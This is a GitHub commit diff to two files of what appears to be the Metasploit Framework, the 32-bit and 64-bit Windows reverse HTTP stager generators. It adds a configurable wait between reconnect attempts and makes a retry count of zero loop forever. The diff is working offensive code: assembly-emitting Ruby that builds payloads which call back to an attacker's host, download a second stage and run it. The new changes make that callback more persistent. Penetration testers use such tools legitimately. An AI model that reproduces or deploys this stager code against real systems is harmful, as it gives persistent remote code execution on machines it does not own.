Skip to content

Commit 09442f2

Browse files
committed
Functionality was added to allow the payload to wait before trying to reconnect.
Also the code was modified to allow the payload to infinite retry if 0 is set.
1 parent f02c323 commit 09442f2

File tree

2 files changed

+65
-17
lines changed

2 files changed

+65
-17
lines changed

lib/msf/core/payload/windows/reverse_http.rb

Lines changed: 39 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,8 @@ def initialize(*args)
2929
super
3030
register_advanced_options([
3131
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
32-
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
32+
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
33+
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts']),
3334
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
3435
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
3536
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
@@ -47,7 +48,8 @@ def generate(opts={})
4748
ssl: opts[:ssl] || false,
4849
host: ds['LHOST'],
4950
port: ds['LPORT'],
50-
retry_count: ds['StagerRetryCount']
51+
retry_count: ds['StagerRetryCount'],
52+
retry_wait: ds['StagerRetryWait']
5153
}
5254

5355
# Add extra options if we have enough space
@@ -153,10 +155,12 @@ def required_space
153155
# @option opts [String] :proxy_user The optional proxy server username
154156
# @option opts [String] :proxy_pass The optional proxy server password
155157
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
158+
# @option opts [Integer] :retry_wait The seconds to wait before retry a new request
156159
#
157160
def asm_reverse_http(opts={})
158161

159-
retry_count = [opts[:retry_count].to_i, 1].max
162+
retry_count = opts[:retry_count].to_i
163+
retry_wait = opts[:retry_wait] ? (opts[:retry_wait].to_i * 1000) : nil
160164
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
161165
proxy_info = ""
162166

@@ -315,15 +319,21 @@ def asm_reverse_http(opts={})
315319
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
316320
call ebp
317321
xchg esi, eax ; save hHttpRequest in esi
318-
322+
^
323+
if retry_count > 0
324+
asm << %Q^
319325
; Store our retry counter in the edi register
320326
set_retry:
321327
push #{retry_count}
322328
pop edi
329+
^
330+
end
323331

332+
asm << %Q^
324333
send_request:
325334
^
326335

336+
327337
if opts[:ssl]
328338
asm << %Q^
329339
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
@@ -350,13 +360,33 @@ def asm_reverse_http(opts={})
350360
call ebp
351361
test eax,eax
352362
jnz allocate_memory
363+
^
364+
365+
if retry_wait
366+
asm << %Q^
367+
set_wait:
368+
push #{retry_wait} ; dwMilliseconds
369+
push 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
370+
call ebp ; Sleep( dwMilliseconds );
371+
^
372+
end
353373

354-
try_it_again:
355-
dec edi
356-
jnz send_request
374+
if retry_count > 0
375+
asm << %Q^
376+
try_it_again:
377+
dec edi
378+
jnz send_request
357379
358-
; if we didn't allocate before running out of retries, bail out
359-
^
380+
; if we didn't allocate before running out of retries, bail out
381+
^
382+
else
383+
asm << %Q^
384+
try_it_again:
385+
jmp send_request
386+
387+
; retry forever
388+
^
389+
end
360390

361391
if opts[:exitfunk]
362392
asm << %Q^

lib/msf/core/payload/windows/x64/reverse_http.rb

Lines changed: 26 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,8 @@ def initialize(*args)
2929
super
3030
register_advanced_options([
3131
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
32-
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
32+
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
33+
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts']),
3334
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
3435
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
3536
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
@@ -52,7 +53,8 @@ def generate(opts={})
5253
ssl: opts[:ssl] || false,
5354
host: ds['LHOST'],
5455
port: ds['LPORT'],
55-
retry_count: ds['StagerRetryCount']
56+
retry_count: ds['StagerRetryCount'],
57+
retry_wait: ds['StagerRetryWait']
5658
}
5759

5860
# add extended options if we do have enough space
@@ -152,10 +154,12 @@ def required_space
152154
# @option opts [String] :proxy_user The optional proxy server username
153155
# @option opts [String] :proxy_pass The optional proxy server password
154156
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
157+
# @option opts [Integer] :retry_wait The seconds to wait before retry a new request
155158
#
156159
def asm_reverse_http(opts={})
157160

158-
retry_count = [opts[:retry_count].to_i, 1].max
161+
retry_count = opts[:retry_count].to_i
162+
retry_wait = opts[:retry_wait] ? (opts[:retry_wait].to_i * 1000) : nil
159163
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
160164
proxy_info = ""
161165

@@ -320,15 +324,19 @@ def asm_reverse_http(opts={})
320324
mov rsi, rax
321325
^
322326

323-
if retry_count > 1
327+
if retry_count > 0
324328
asm << %Q^
325329
push #{retry_count}
326330
pop rdi
327-
328-
retryrequest:
329331
^
330332
end
331333

334+
335+
asm << %Q^
336+
retryrequest:
337+
^
338+
339+
332340
if opts[:ssl]
333341
asm << %Q^
334342
internetsetoption:
@@ -360,7 +368,16 @@ def asm_reverse_http(opts={})
360368
jnz allocate_memory
361369
^
362370

363-
if retry_count > 1
371+
if retry_wait
372+
asm << %Q^
373+
set_wait:
374+
mov rcx, #{retry_wait} ; dwMilliseconds
375+
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
376+
call rbp ; Sleep( dwMilliseconds );
377+
^
378+
end
379+
380+
if retry_count > 0
364381
asm << %Q^
365382
try_it_again:
366383
dec rdi
@@ -369,7 +386,8 @@ def asm_reverse_http(opts={})
369386
^
370387
else
371388
asm << %Q^
372-
jmp failure
389+
jmp retryrequest
390+
; retry forever
373391
^
374392
end
375393

0 commit comments

Comments
 (0)